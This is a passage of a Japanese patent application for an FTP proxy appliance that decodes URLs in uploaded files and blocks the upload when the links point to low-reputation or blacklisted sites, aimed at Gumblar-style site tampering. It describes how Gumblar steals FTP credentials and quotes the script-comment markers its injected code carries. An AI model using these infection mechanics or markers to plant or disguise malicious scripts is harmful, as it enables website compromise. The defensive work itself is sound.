(57)【要約】【課題】ウェブコンテンツの改ざんを防止するために、ファイルのアップロード遮断システム及びファイルのアップロード遮断方法を提供する。【解決手段】ウェブ（Ｗｅｂ）サーバにファイルをアップロードするためのＦＴＰサーバ１０とコンピュータネットワーク６０を介して接続されたＦＴＰクライアントコンピュータ２０の間にＦＴＰプロキシサーバ３０を備えている。  ＦＴＰプロキシサーバ３０は、判定エンジン３３が、ＵＲＬ格納データベースと、レピュテーションデータベース、ブラックリストデータベース、ホワイトリストデータベースと接続され、ＵＲＬ抽出エンジン３２で抽出されたＵＲＬ情報と、レピュテーションデータベースＤＢ２と、ブラックリストデータベースＢＬと、ホワイトリストデータベースＷＬのいずれかを参照して、ＵＲＬの信頼度情報をもとにファイルのウェブサーバへのアップロードの可否を行なう。【選択図】図５
2011227884.tif 000002
【特許請求の範囲】
【請求項１】
ウェブサーバにファイルをアップロードするためのＦＴＰサーバと、該ＦＴＰサーバと接続されたＦＴＰプロキシサーバと、該ＦＴＰプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えた、ファイルのアップロード遮断システムであって、
前記ＦＴＰプロキシサーバは、ＣＰＵと、出入力手段と、ＵＲＬ抽出手段と、判定手段と、ＵＲＬを格納するＵＲＬ格納手段と、リンク先のサイト名もしくはＩＰアドレスに対する信頼度を示すレピュテーション値が格納されたレピュテーション手段と、ブラックリスト格納手段と、ホワイトリスト格納手段と、を有し、
前記ＦＴＰプロキシサーバの前記判定手段は、ファイルのウェブサーバへのアップロードの可否を判定するものであって、前記ＵＲＬ格納手段と、前記レピュテーション手段と、前記ブラックリスト格納手段と、前記ホワイトリスト格納手段と接続され、
前記判定手段は、前記ＵＲＬ抽出エンジンにより、アップロードされるファイルに含まれるＵＲＬ情報を取得し、該取得したＵＲＬ情報と、少なくとも前記レピュテーション手段、前記ブラックリスト格納手段、前記ホワイトリスト格納手段のいずれかを参照して、前記取得したＵＲＬの信頼度情報を得て、該信頼情報をもとにファイルのウェブサーバへのアップロードの可否を判定することを特徴とするファイルのアップロード遮断システム。
【請求項２】
前記ＵＲＬ情報は、難読化されたスクリプトを複号する処理で得られた情報、符号化されたＵＲＬ文字列を復号する処理で得られた情報、復号されたＵＲＬ文字列を分解する処理で得られた情報、前記分解された情報に基づいてホスト名，ポート番号，パス名からなる文字列を生成する処理で得られた情報、前記ホスト名に基づいてＩＰアドレスを取得する処理で得られた情報のうち少なくとも一つを含むことを特徴とする請求項１に記載のファイルのアップロード遮断システム。
【請求項３】
前記ファイルのアップロード遮断システムは、さらに電子指紋計算手段と、マルウェア判定手段と、マルウェアの電子指紋が蓄積された電子指紋蓄積手段と、を備え、アップロードされるファイルの電子指紋と、前記電子指紋蓄積手段を対比し、マルウェアを検知することを特徴とする請求項１又は２に記載のファイルのアップロード遮断システム。
【請求項４】
前記判定手段は、前記ＵＲＬ格納手段に格納されたＵＲＬに対して定期的に信頼度を検査し、再度公開に足る信頼度を持つかどうかを判定して、書き換えられることを特徴とする請求項１又は２に記載のファイルのアップロード遮断システム。
【請求項５】
レピュテーション手段は、前記ＦＴＰプロキシサーバとネットワークで接続された外部に設けられていることを特徴とする請求項１に記載のファイルのアップロード遮断システム。
【請求項６】
ウェブサーバにファイルをアップロードするためのＦＴＰサーバと、該ＦＴＰサーバと接続されたＦＴＰプロキシサーバと、該ＦＴＰプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えたシステムにおけるファイルのアップロード遮断方法であって、
アップロードされるファイルに含まれるＵＲＬ情報を取得するＵＲＬ情報取得工程と、
前記ＵＲＬ情報取得工程で取得したＵＲＬ情報と、該ＵＲＬ情報のリンク先のサイト名もしくはＩＰアドレスに対する信頼度を格納したレピュテーション手段、ブラックリスト格納手段、ホワイトリスト格納手段の少なくとも一つ以上を参照し判定する参照判定工程と、
前記参照判定工程に基づくＵＲＬの信頼度情報をもとにそのファイルのウェブサーバへのアップロードの可否を判定する判定工程と、を備えているファイルのアップロード遮断方法。
【請求項７】
前記ＵＲＬ情報取得工程では、難読化されたスクリプトを複号する処理、符号化されたＵＲＬ文字列を復号する処理、復号されたＵＲＬ文字列を分解する処理、前記分解された情報に基づいてホスト名，ポート番号，パス名からなる文字列を生成する処理、前記ホスト名に基づいてＩＰアドレスを取得する処理のうち少なくとも一つの処理がなされることを特徴とする請求項６に記載のファイルのアップロード遮断方法。
【請求項８】
前記ファイルのアップロード遮断方法は、前記アップロードされるファイルの電子指紋を取得し、マルウェアの電子指紋が蓄積された電子指紋蓄積データベースを検索することで、マルウェアを検知しアップロードの可否を判定することを特徴とする請求項６又は７に記載のファイルのアップロード遮断方法。
【請求項９】
前記ＵＲＬ情報取得工程で得られたファイル毎のＵＲＬを記録しておくための格納手段への書込み工程と、
前記ＵＲＬ格納手段に格納されたＵＲＬに対して定期的に信頼度を検査し、再度公開に足る信頼度を持つかどうかを判定する再審査の工程と、を備えたことを特徴とする請求項６又は７に記載のファイルのアップロード遮断方法。
【請求項１０】
リンク先のサイト名もしくはＩＰアドレスに対する信頼度の取得を前記ＦＴＰプロキシサーバと接続された外部のレピュテーション手段から取得することを特徴とする請求項６に記載のファイルのアップロード遮断方法。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、コンピュータネットワークにおけるファイルのアップロード遮断システム及びファイルのアップロード遮断方法に係り、特にウェブ（Ｗｅｂ）コンテンツあるいは設定ファイルとしてＦＴＰでアップロードされる際に、悪質なＵＲＬ／リンクを検知し、ウェブコンテンツの改ざんを防止するコンピュータネットワークにおけるファイルのアップロード遮断システム及びファイルのアップロード遮断方法に関する。
【背景技術】
【０００２】
一般に、メール等のメッセージに対し、ウィルス（パターン）をゲートウエイ等で走査して、ウィルス（パターン）の存在に依存してデータ処理動作を指定し、ウィルス検出を行い、ウィルスを選択的に除去する技術が知られている（例えば、特許文献１、２）。
【先行技術文献】
【特許文献】
【０００３】
【特許文献１】特開２００８−１７１４１５号公報
【特許文献２】特開２００５−１３５０２４号公報
【０００４】
これらの特許文献は、メール本文等のメッセージ内に含まれる文字列を解析して特定パターンを検出した場合に、データの転送を中止或いは中断する技術である。
【発明の概要】
【発明が解決しようとする課題】
【０００５】
本明細書において、「リンク」、「リダイレクト」、「不正サイト」、「不正リンク」、「不正ファイル」、「リバースＰｒｏｘｙ」、「ホワイトリスト（ＷＬ）」、「ブラックリスト（ＢＬ）」、「マルウェア（Ｍａｌｗａｒｅ）」は、以下の意味で使用する。
【０００６】
「リンク」とは、ハイパーテキストにおいてドキュメントを結びつける役割を担う「参照」を意味する。ウェブ（Ｗｅｂ）ブラウザは、リンクをたどることで、設定されたページやファイルに移動できる。ＨＴＭＬでは＜ａ  ｈｒｅｆ＝ｕｒｌ＞の形式で指定される。
「リダイレクト」とは、ＨＴＴＰ  ステータスコードの「３ｘｘ  Ｒｅｄｉｒｅｃｔｉｏｎ」で定義される機能である。代表的なものとして「３０１  Ｍｏｖｅｄ  Ｐｅｒｍａｎｅｎｔｌｙ」や「３０２  Ｍｏｖｅｄ  Ｔｅｍｐｏｒａｒｉｌｙ」がある。
リダイレクトの定義は、ｈｔｔｐｄ．ｃｏｎｆや．ｈｔａｃｃｅｓｓなどの設定ファイルで行われるため、コンテンツ自体には含まれない。
「不正サイト」とは、何らかの悪意を持つ者が作成したウェブ（Ｗｅｂ）サイトをいう。
「不正リンク」とは、不正サイトへの誘導を行うリンクをいう。
「不正ファイル」とは、何らかの悪意を持つ者が作成したファイルをいう。コンテンツや設定ファイルなどを含む。
「リバースＰｒｏｘｙ」とは、特定のサーバの代理としてそのサーバへの要求を中継するＰｒｏｘｙサーバをいう。代行されているサーバにアクセスしようとしたユーザは全てリバースＰｒｏｘｙを経由することになるため、サーバが直接アクセスを受けることはなくなる。
「ホワイトリスト（ＷＬ）」とは、信頼できると判断されたＵＲＬ，ＩＰアドレス、ＦＱＤＮ、メールアドレスなどの一覧表をいう。
「ブラックリスト（ＢＬ）」とは、悪質なものと判断されたＵＲＬ，ＩＰアドレス、ＦＱＤＮ、メールアドレスなどの一覧表をいう。
「マルウェア（Ｍａｌｗａｒｅ）」とは、不正かつ有害な動作を行う意図で作成された悪意のあるソフトウェアや悪質なコードの総称をいう。
【０００７】
最近、ウェブサイトを改ざんしてコンテンツの中に感染用のコード（別サイトへのリンクなど）を埋め込むウィルスが流行している（例えばＧｕｍｂｌａｒ：ガンブラー）。これらは、例えばＪａｖａＳｃｒｉｐｔ（登録商標、以下同じ）でＵＲＬを偽造し、さらに難読化されており、パターンが多数あるため、従来技術で示した特許文献１等のパターンマッチングでは検知することは非常に困難である。なお、難読化とは、ＪａｖａＳｃｒｉｐｔが内容を理解しにくいように加工されていることであり、ｕｎｅｓｃａｐｅやｒｅｐｌａｃｅなどのＪａｖａＳｃｒｉｐｔの関数を使って難読化している場合、見た目ではプログラムの内容を把握することが困難である。
【０００８】
ここで、Ｇｕｍｂｌａｒ（ガンブラー）とは、攻撃元のＵＲＬからの「Ｇｕｍｂｌａｒ」と呼ばれるドライブバイダウンロード攻撃の一種であり、求めるサイトと異なる別サイトである不正サイトに誘導し、不正サイトに誘導されたＦＴＰクライアント（ユーザ端末）等のコンピュータ（ＰＣ）は、誘導先に存在するＡｄｏｂｅ  Ｒｅａｄｅｒ（登録商標）やＪａｖａ（登録商標）、Ｗｉｎｄｏｗｓ（登録商標）の脆弱性を突いたマルウェアに感染する。つまり、悪質なサイトへのリンクを張って増殖する。感染したＦＴＰクライアント（ユーザ端末）ＰＣからＦＴＰのアカウント，パスワードを盗み、ウェブサイトを改ざんする。このようなＧｕｍｂｌａｒ（ガンブラー）は、事前に検知することが難しく、感染した後に発見、検出されることが一般的である。
【０００９】
より詳しく述べると、日本での最初の感染が「通販サイトのＧＥＮＯ」だったため、「ＧＥＮＯ」と呼ばれる（Ｇｕｍｂｌａｒ＝ＧＥＮＯ）こともあり、２００９年４〜５月頃から話題になった。
改竄されたサイトに誘導コード（マルウェアに感染させるための別サイトへのリンクを含むスクリプト）が埋め込まれており、改竄されたサイトにアクセスした場合、別サイトへ誘導される。別サイトには実行ファイル、ＰＤＦ（ＰｏｒｔａｂｌｅＤｏｃｕｍｅｎｔＦｏｒｍａｔ，ＩＳＯ３２０００−１／国際規格）、Ａｄｏｂｅ  Ｆｌａｓｈ（登録商標）などの脆弱性を突くファイル（マルウェア）が存在し、アクセスしたマシン上で実行されることでマルウェアに感染する仕組みである。マルウェアの形態はプログラムとは限らず、悪意のあるスクリプトを内包したＰＤＦファイルだったりする。
【００１０】
Ｇｕｍｂｌａｒ（ガンブラー）には、亜種が存在し、２００９年１０〜１１月頃から話題になったＧｕｍｂｌａｒ．Ｘ、２００９年１２月頃から話題になった８０８０が知られている。「８０８０」の由来は、ウィルス設置サイトへアクセスする際のポートが８０８０であったためとされている。この「８０８０」は、「ＧＮＵ  ＧＰＬ」「ＬＧＰＬ」と呼ばれることもあり、改竄部分の先頭に、
＜ｓｃｒｉｐｔ＞／＊ＧＮＵ  ＧＰＬ＊／
＜ｓｃｒｉｐｔ＞／＊ＣＯＤＥ１＊／
＜ｓｃｒｉｐｔ＞／＊ＬＧＰＬ＊／
という表記があることが知られている。
この「８０８０」の別名の由来は、上記から始まる難読化（元の文字列を判読できないように変換する処理）したスクリプトが埋め込まれているためであり、「Ｐｅｇｅｌ（ピーゲル）」と呼ばれることもある。これらの亜種であっても感染の仕組み自体は、上述の「Ｇｕｍｂｌａｒ」と同様である。
【００１１】
つまり、従来技術では、コンテンツ内にウィルスが存在する場合には、有効に作動するが、上記のようなＧｕｍｂｌａｒ（ガンブラー）で代表される不正サイトを介したウィルスに対しては、有効ではなかったという問題があった。
【００１２】
本発明の目的は、ウェブコンテンツの改ざんを防止するために、ファイルのアップロード遮断システム及びファイルのアップロード遮断方法を提供することにある。
より詳しくは、ファイル中に含まれるＵＲＬ群の評価（信用度）に基づいて、マルウェア等の存在を指すような悪質なＵＲＬ／リンクを検知し、そのファイルのウェブ（Ｗｅｂ）への公開を阻止することで、ウェブ（Ｗｅｂ）コンテンツのリンクを辿った閲覧ユーザに発生する二次被害を防ぐことが可能なファイルのアップロード遮断システム及びファイルのアップロード遮断方法の提供を目的とする。
【課題を解決するための手段】
【００１３】
前記課題は、本発明のファイルのアップロード遮断システムによれば、ウェブサーバにファイルをアップロードするためのＦＴＰサーバと、該ＦＴＰサーバと接続されたＦＴＰプロキシサーバと、該ＦＴＰプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えた、ファイルのアップロード遮断システムであって、前記ＦＴＰプロキシサーバは、ＣＰＵと、出入力手段と、ＵＲＬ抽出手段と、判定手段と、ＵＲＬを格納するＵＲＬ格納手段と、リンク先のサイト名もしくはＩＰアドレスに対する信頼度を示すレピュテーション値が格納されたレピュテーション手段と、ブラックリスト格納手段と、ホワイトリスト格納手段と、を有し、前記ＦＴＰプロキシサーバの前記判定手段は、ファイルのウェブサーバへのアップロードの可否を判定するものであって、前記ＵＲＬ格納手段と、前記レピュテーション手段と、前記ブラックリスト格納手段と、前記ホワイトリスト格納手段と接続され、前記判定手段は、前記ＵＲＬ抽出エンジンにより、アップロードされるファイルに含まれるＵＲＬ情報を取得し、該取得したＵＲＬ情報と、少なくとも前記レピュテーション手段、前記ブラックリスト格納手段、前記ホワイトリスト格納手段のいずれかを参照して、前記取得したＵＲＬの信頼度情報を得て、該信頼情報をもとにファイルのウェブサーバへのアップロードの可否を判定すること、により解決される。
【００１４】
このとき、前記ＵＲＬ情報は、難読化されたスクリプトを複号する処理で得られた情報、符号化されたＵＲＬ文字列を復号する処理で得られた情報、復号されたＵＲＬ文字列を分解する処理で得られた情報、前記分解された情報に基づいてホスト名，ポート番号，パス名からなる文字列を生成する処理で得られた情報、前記ホスト名に基づいてＩＰアドレスを取得する処理で得られた情報のうち少なくとも一つを含むように構成すると好適である。
【００１５】
また前記ファイルのアップロード遮断システムは、さらに電子指紋計算手段と、マルウェア判定手段と、マルウェアの電子指紋が蓄積された電子指紋蓄積手段と、を備え、アップロードされるファイルの電子指紋と、前記電子指紋蓄積手段を対比し、マルウェアを検知するように構成するとよい。
このように構成すると、「マルウェアへのリンクを含むファイル」だけではなく「マルウェア自体」のアップロードを防ぐ機能を付加することとなり、より確実に遮断が可能となる。
【００１６】
さらに、前記判定手段は、前記ＵＲＬ格納手段に格納されたＵＲＬに対して定期的に信頼度を検査し、再度公開に足る信頼度を持つかどうかを判定して、書き換えられるように構成すると、より好適である。このように構成することにより、ＵＲＬ格納データベースを定期的に再審査する機能を付加させることが可能となる。
【００１７】
また、レピュテーション手段は、前記ＦＴＰプロキシサーバとネットワークで接続された外部に設けられているものを用いることが可能である。このようにすることにより、外部のレピュテーション手段を用いることが可能となり、システム内に自ら構築する必要がなくなる。
【００１８】
前記課題は、本発明のファイルのアップロード遮断方法によれば、ウェブサーバにファイルをアップロードするためのＦＴＰサーバと、該ＦＴＰサーバと接続されたＦＴＰプロキシサーバと、該ＦＴＰプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えたシステムにおけるファイルのアップロード遮断方法であって、アップロードされるファイルに含まれるＵＲＬ情報を取得するＵＲＬ情報取得工程と、前記ＵＲＬ情報取得工程で取得したＵＲＬ情報と、該ＵＲＬ情報のリンク先のサイト名もしくはＩＰアドレスに対する信頼度を格納したレピュテーション手段、ブラックリスト格納手段、ホワイトリスト格納手段の少なくとも一つ以上を参照し判定する参照判定工程と、前記参照判定工程に基づくＵＲＬの信頼度情報をもとにそのファイルのウェブサーバへのアップロードの可否を判定する判定工程と、を備えていること、により解決される。
【００１９】
このとき、前記ＵＲＬ情報取得工程では、難読化されたスクリプトを複号する処理、符号化されたＵＲＬ文字列を復号する処理、復号されたＵＲＬ文字列を分解する処理、前記分解された情報に基づいてホスト名，ポート番号，パス名からなる文字列を生成する処理、前記ホスト名に基づいてＩＰアドレスを取得する処理のうち少なくとも一つの処理がなされると好適である。
【００２０】
また前記ファイルのアップロード遮断方法は、前記アップロードされるファイルの電子指紋を取得し、マルウェアの電子指紋が蓄積された電子指紋蓄積データベースを検索することで、マルウェアを検知しアップロードの可否を判定するように構成することができる。
【００２１】
さらに、前記ＵＲＬ情報取得工程で得られたファイル毎のＵＲＬを記録しておくための格納手段への書込み工程と、前記ＵＲＬ格納手段に格納されたＵＲＬに対して定期的に信頼度を検査し、再度公開に足る信頼度を持つかどうかを判定する再審査の工程と、を備えるように構成すると好適である。
【００２２】
また、リンク先のサイト名もしくはＩＰアドレスに対する信頼度の取得を前記ＦＴＰプロキシサーバと接続された外部のレピュテーション手段から取得するように構成することができる。
【発明の効果】
【００２３】
本発明によれば、不正ファイルのアップデートを即時に検知・除外できる。つまり、ＦＴＰサーバとＦＴＰクライアントコンピュータ（ユーザ端末）の間にＦＴＰプロキシサーバを設置し、ＦＴＰクライアントコンピュータ（ユーザ端末）からＦＴＰサーバにファイルを置く前にチェックし不正ファイルを除外できるので、従来の改竄検知サービスのように、アップロードされた後に異常を検知するものではなく、本発明のシステム及び方法では事前にマルウェア等を除外し、不正ファイルのアップロードを防ぐことが可能となる。
【００２４】
また、改竄元の確認が容易となる。そして、不正ファイルを検知したときに、指定されたメールアドレスに検知内容を送付することができる。検知内容には、検知日時、該当するＦＴＰ  ＩＤ、対象ファイル、ＦＴＰでアップロードしようとしたＩＰアドレスが含まれ、影響範囲の確定や事後の対応に役立つ。
【００２５】
さらに、コンテンツ以外のファイルも検査可能となる。つまり、ＨＴＴＰを利用し、ウェブ（Ｗｅｂ）ブラウザと同様にクローリングする改竄検知サービスでは存在を確認できない設定ファイルや他のコンテンツからのリンクがない独立したコンテンツのチェックが可能となる。また、クローリング型で問題になるログイン認証を伴うページについても、ファイルとして一律に検査できるので、検査漏れが発生しない。
【００２６】
さらに、低負荷なものとなる。つまり、本発明のシステム及び方法ではＦＴＰでアップロードしたファイルのみをチェックする。このため、クローリングなどで全件検査するシステムとは異なり、検査が必要なファイルのみをチェックするため、サーバに不要な負荷をかけない。
【図面の簡単な説明】
【００２７】
【図１】本発明を適用したシステムの全体構成図である。
【図２】本発明を簡略して示す概念説明図である。
【図３】本発明のファイルのアップロード遮断システムを示す概念説明図である。
【図４】ＦＴＰプロキシサーバのハード構成の一部を示す説明図である。
【図５】本発明に係るファイルのアップロード遮断システムの機能連携を示す説明図である。
【図６】本発明に係るファイルのアップロード遮断システムの通信フローを示す関係図である。
【図７】本発明に係るファイルのアップロード遮断システムを説明する全体図である。
【図８】判定エンジンとＵＲＬ格納データベースとの対応関係を示すブロック図である。
【図９】マルウェア検知が無い場合のフローチャートである。
【図１０】マルウェア検知が有る場合のフローチャートである。
【発明を実施するための形態】
【００２８】
以下、本発明の一実施形態を図面に基づいて説明する。なお、以下に説明する部材，配置等は本発明を限定するものでなく、本発明の趣旨の範囲内で種々改変することができるものである。
【００２９】
図１乃至図１０は、本発明を示すものであり、図１はシステムの全体構成図、図２は簡略して示す概念説明図、図３はファイルのアップロード遮断システムを示す概念説明、図４はＦＴＰプロキシサーバのハード構成の一部を示す説明図、図５はファイルのアップロード遮断システムの機能連携を示す説明図、図６はファイルのアップロード遮断システムの通信フローを示す関係図、図７はファイルのアップロード遮断システムを説明する全体図、図８は判定エンジンとＵＲＬ格納データベースとの対応関係を示すブロック図、図９はマルウェア検知が無い場合のフローチャート、図１０はマルウェア検知が有る場合のフローチャートである。
【００３０】
本発明の概略は、ウェブ（Ｗｅｂ）コンテンツの改ざんを防止するためのシステム及び方法であり、いわばリンクのスクリーニングシステム及びリンクのスクリーニング方法でもあり、ウェブ（Ｗｅｂ）サーバの入口で阻止し、未然に感染を防ぐシステム及び方法である。本発明は、要するにアプライアンス型のＦＴＰ中継・フィルタシステム及び方法である。本発明は、アップ時のチェックと、既にアップされているページのチェックの両方を行なえるシステム及び方法である。
【００３１】
つまり、図２で示すように、アップ時のチェックシステム及び方法としては、クライアント側のＦＴＰクライアントコンピュータ（ユーザ端末２０：ＰＣ）とウェブ（Ｗｅｂ）サーバ（ＦＴＰサーバ１０）の間に、不正を検出するために本発明のシステムや方法を介在させる。そして、図３で示すように、ユーザが、ＦＴＰクライアントコンピュータ（ユーザ端末）２０からウェブ（Ｗｅｂ）サーバ（ＦＴＰサーバ）１０にコンテンツをアップしようとするときに、その内容をチェックする。コンテンツ、リンクを解析し、問題があった場合にはアップロードを遮断する。そして、問題のないファイルのみをＦＴＰサーバ１０へ転送する。また、システム管理者へ通知する。このとき、どこから送られてきたのか（改ざん元）も特定できる。ＪａｖａＳｃｒｉｐｔでＵＲＬを偽造している場合、一般に、難読化されており、パターンが多数有りパターンマッチングでは検知できないため、解析（解読）を行って、この解析により、ＵＲＬを検出する。また、レピュテーションサービス（自ら構成或いは第三者が提供：データベースが高品質）を用いて、リンク先（ＩＰアドレス）の信頼度をチェックし、信頼度が低いと判断された場合には、アップロードを遮断するものである。
【００３２】
一方、既にアップされているページのチェック方法としては、既にアップロードされているページの信頼度のチェックを行うように構成している。例えば、アップロードのときにリンク情報をデータベースに蓄積し、そのデータベースを用いて定期的にチェックする。これにより、ＤＮＳが変わってリンク情報がすりかえられることがあっても、対応することが可能となる。
【００３３】
本発明のシステム及び方法は、基本構成では１日あたり３万件以下のＦＴＰによるファイルアップロードが可能である（１ファイルあたり平均１００Ｋｂｙｔｅ以下を想定）。
本発明のシステム及び方法では、ＦＴＰクライアントコンピュータ（ユーザ端末）２０の認証情報を有せず、認証の制御はＦＴＰサーバ１０が行なうもので、ＦＴＰクライアントコンピュータ（ユーザ端末）２０がファイルをアップロードする場合のみ、ファイル検査を行い、ＦＴＰサーバ１０へのアップロードを実行するか否かを制御するものである。
【００３４】
以下、詳細に説明する。図１は、本発明のファイルのアップロード遮断システム及びファイルのアップロード遮断方法が利用されるシステムの全体構成図の一例を示すものであり、図示されているように、ファイルのアップロード遮断システムＳは、アプライアンス型のシステムであり、ＦＴＰサーバ１０と、それを利用するクライアント側のＦＴＰクライアントコンピュータ（ユーザ端末）２０の間に、アプライアンス型のＦＴＰプロキシサーバ３０を設置し、各ＦＴＰ（ＦＴＰサーバ１０、ＦＴＰクライアントコンピュータ２０）でのファイル転送を中継する。また、本実施形態では、システム管理者用コンピュータ４０、顧客管理システム用コンピュータ５０を備えている。
また、複数のクライアント側のＦＴＰクライアントコンピュータ（ユーザ端末）２０は、ネットワークとしてインターネット６０と接続されている。
【００３５】
本実施形態のＦＴＰサーバ１０は、ファイルシステム（ＯＳがファイルを管理し、データを読み書きできるようにするための仕組：例としてＮＴＦＳ、ＦＡＴ，ＨＦＳ，ｅｘｔ２、ｅｘｔ３など）をウェブ（Ｗｅｂ）サーバと共有し、ＷＷＷコンテンツの公開先としてファイルをアップロードすることが可能に構成されている。
実際の適用においては、対象ＦＴＰサーバ（ＦＴＰサーバ１０）の指定をするが、対象とするＦＴＰサーバ１０は独自に定義する。ＦＴＰ  ＩＤのサフィックスごと、または接続を受け付けるＩＰアドレスごとに対象ＦＴＰサーバを指定することが可能である。
この対象とするＦＴＰサーバ１０の指定は、開始時に、ＩＣＤの設定ファイルにて指定する。ドメインごとに対応するＦＴＰサーバを指定できる。
【００３６】
クライアント側のＦＴＰクライアントコンピュータ（ユーザ端末）２０は、ＵＲＬを取得してファイルを作成及び送受信する機能を持つソフトウェアを備えており、このクライアント側のＦＴＰクライアントコンピュータ（ユーザ端末）２０は、ＦＴＰサーバ１０と、ＦＴＰプロキシサーバ３０を介して接続される構成となっている。つまり、クライアント側のＦＴＰクライアントコンピュータ（ユーザ端末）２０は、直接ＦＴＰサーバ１０と接続されず、ＦＴＰプロキシサーバ３０を介して接続される構成となっている。
【００３７】
本発明のファイルのアップロード遮断システム及び方法は、１ユニットのアプライアンスサーバ（特定の用途向けに設計・開発されたサーバ）としてのＦＴＰプロシキサーバ３０に実装されており、図１乃至図３で示すように、ＦＴＰプロキシサーバ３０は、ＦＴＰサーバ１０とクライアント側のＦＴＰクライアントコンピュータ２０の間に設置し、中継時にＧｕｍｂｌａｒ（ガンブラー）などの不正サイトへの誘導（リンクやリダイレクト）を検出し、クライアント側のＦＴＰクライアントコンピュータ２０からＦＴＰサーバ１０にファイルを置く前にチェックし不正ファイルを除外する。
【００３８】
なお、ＦＴＰプロキシサーバ３０は、ＦＴＰのリバースＰｒｏｘｙとして動作する。このため、ＦＴＰサーバ１０の代わりに、クライアント側のＦＴＰクライアントコンピュータ２０からのＦＴＰ接続を受け付けるため、ＦＴＰサーバ１０のＩＰアドレスを変更したり、ＦｉｒｅＷａｌｌなどでアドレス変換を行っておく。
ＦＴＰプロキシサーバ３０は、クライアント側のＦＴＰクライアントコンピュータ２０からのＦＴＰ接続を対象ＦＴＰサーバ（本例ではＦＴＰサーバ１０）の代わりに受け付けるため、通常は対象ＦＴＰサーバ（本例ではＦＴＰサーバ１０）の前段に設置する。そして、通常は対象ＦＴＰサーバが設置されているネットワークに設置する。
【００３９】
このＦＴＰプロシキサーバ３０には、図４及び図５で示すように、ＣＰＵ３１と、このＣＰＵ３１に内蔵し、或いは不図示の記憶装置（ＨＤＤ，メモリ）に設けられたＵＲＬ抽出手段としてのＵＲＬ抽出エンジン３２、判定手段としての判定エンジン３３、電子指紋計算手段としての電子指紋計算エンジン３４、マルウェア判定手段としてのマルウェア判定エンジン３５と、ＵＲＬ格納手段としてのＵＲＬ格納データベースＤＢ１と、レピュテーション手段としてのレピュテーションデータベースＤＢ２と、電子指紋蓄積手段としてのマルウェアの電子指紋データベースＤＢ３と、ブラックリスト格納手段としてのブラックリストデータベースＢＬと、ホワイトリスト格納手段としてのホワイトリストデータベースＷＬと、を備えている。
【００４０】
そして、ＣＰＵ３１は、不図示の入出力手段（Ｉ／Ｏインターフェースを含む）を介して入力側３６と出力側３７と接続されており、これら入力側３６と出力側３７からの情報等と、上記ＵＲＬ抽出エンジン３２，判定エンジン３３，電子指紋計算エンジン３４，マルウェア判定エンジン３５と、ＵＲＬ格納データベースＤＢ１，レピュテーションデータベースＤＢ２，マルウェアの電子指紋データベースＤＢ３，ブラックリストデータベースＢＬ，ホワイトリストデータベースＷＬと、を制御及び演算して、ファイルのアップロード遮断システム及び方法を制御しているものである。
【００４１】
ＵＲＬ格納データベースＤＢ１は、図４及び図５で示すように、判定エンジン３３を介してＵＲＬ抽出エンジン３２と接続されており、ＵＲＬ抽出エンジン３２によって抽出されたＵＲＬを、判定エンジン３３によって判定し、判定されたものを格納する。つまり、判定エンジン３３には、ＵＲＬ格納データベースＤＢ１が接続され、このＵＲＬ格納データベースＤＢ１と前述したＵＲＬ抽出エンジン３２によって抽出されたＵＲＬとを対比するように構成されている。
【００４２】
判定エンジン３３は、ＵＲＬ抽出エンジン３２によって抽出されたデータを受け取り判定するものであるが、レピュテーションデータベースＤＢ２と、ホワイトリストデータベースＷＬと、ブラックリストデータベースＢＬを参照して、マルウェア等の有無を判定するものである。
【００４３】
レピュテーションデータベースＤＢ２は、判定エンジン３３で判定対象となったリンク先のサイト名もしくはＩＰアドレスに対する信頼度を示すレピュテーション値が格納されている。
【００４４】
基本機能として、検出する場合に、ホワイトリストデータベースＷＬ・ブラックリストデータベースＢＬ以外に、レピュテーションデータベースＤＢ２を用いた照合を行う。転送先が信用度の低いネットワークに存在する場合、不正なアップロードと判断する。
本実施形態では、より具体的に説明すると、ＵＲＬのＦＱＤＮ部分をＤＮＳ解決して得られるＩＰアドレスに対して、レピュテーション検査を実施する。レピュテーションデータベースＤＢ２にアクセス（問い合わせを行なう）するときには、判定エンジン３３は、ＩＰアドレスに変換して、レピュテーション判定用常駐プログラムで行なう。検査（判定）の結果は、閾値として、Ａ．悪い評判は無い（ｋｎｏｗｎ）、Ｂ．疑わしい評判（ｓｕｓｐｅｃｔ）、Ｃ．評判が悪い（ｐｏｏｒ）の３段階に分別される。標準設定では、レピュテーションによる判定結果のうち、ｐｏｏｒ（Ｃ）とｓｕｓｐｅｃｔ（Ｂ）に該当したＩＰアドレスをＮＧとしている。なお、ＮＧの条件をｐｏｏｒ（Ｃ）だけにすることも可能である。本実施形態では、レピュテーションの閾値設定はＦＴＰサーバ単位で行っており、レピュテーション検査の実施はＦＴＰアカウント単位に設定している。なお、ＤＮＳ解決されない場合はレピュテーションの対象から除外され、ＮＧと同じ扱いとしている。
上述のようにして、レピュテーションの結果が、ＯＫとなったファイルはＦＴＰサーバにアップロードし、ＮＧとなったファイルは、ＦＴＰサーバにアップロードすることを保留して次ステップのホワイトリスト照合を行い、判定される。なお、本システムではレピュテーションデータベースＤＢ２を外部のレピュテーションＤＢサーバから定期的にレピュテーション情報を取得して最新のデータとし、これを基に判定している。
【００４５】
例えば、外部データベースであるＣｌｏｕｄｍａｒｋ社のＲｅｐｕｔａｔｉｏｎ  データベースによりリンク先の信頼度を分析することが可能である。このＣｌｏｕｄｍａｒｋ社のＲｅｐｕｔａｔｉｏｎ  データベースは、本願出願時点で、世界で１億３，０００万人が利用する最大規模のＳＮＳサイトでも採用されているものであり、Ｃｌｏｕｄｍａｒｋ社のＩＰレピュテーションサービス「Ｃｌｏｕｄｍａｒｋ  Ｓｅｎｄｅｒ  Ｉｎｔｅｌｌｉｇｅｎｃｅ  （以下  ＣＳＩ）」を用いて、リンクＵＲＬの信頼度を分析する。
【００４６】
ＣＳＩは、全世界で１０億人を超すＣｌｏｕｄｍａｒｋユーザコミュニティからのトラフィック・パターン、フィンガープリント、フィードバック情報などによりリアルタイムで更新され、これらの相関を解析、レピュテーションスコアをリアルタイムに算出する。分析の結果、信頼度が低いと判断されたサイトへのリンクを含むコンテンツは、アップロードをブロックする。
【００４７】
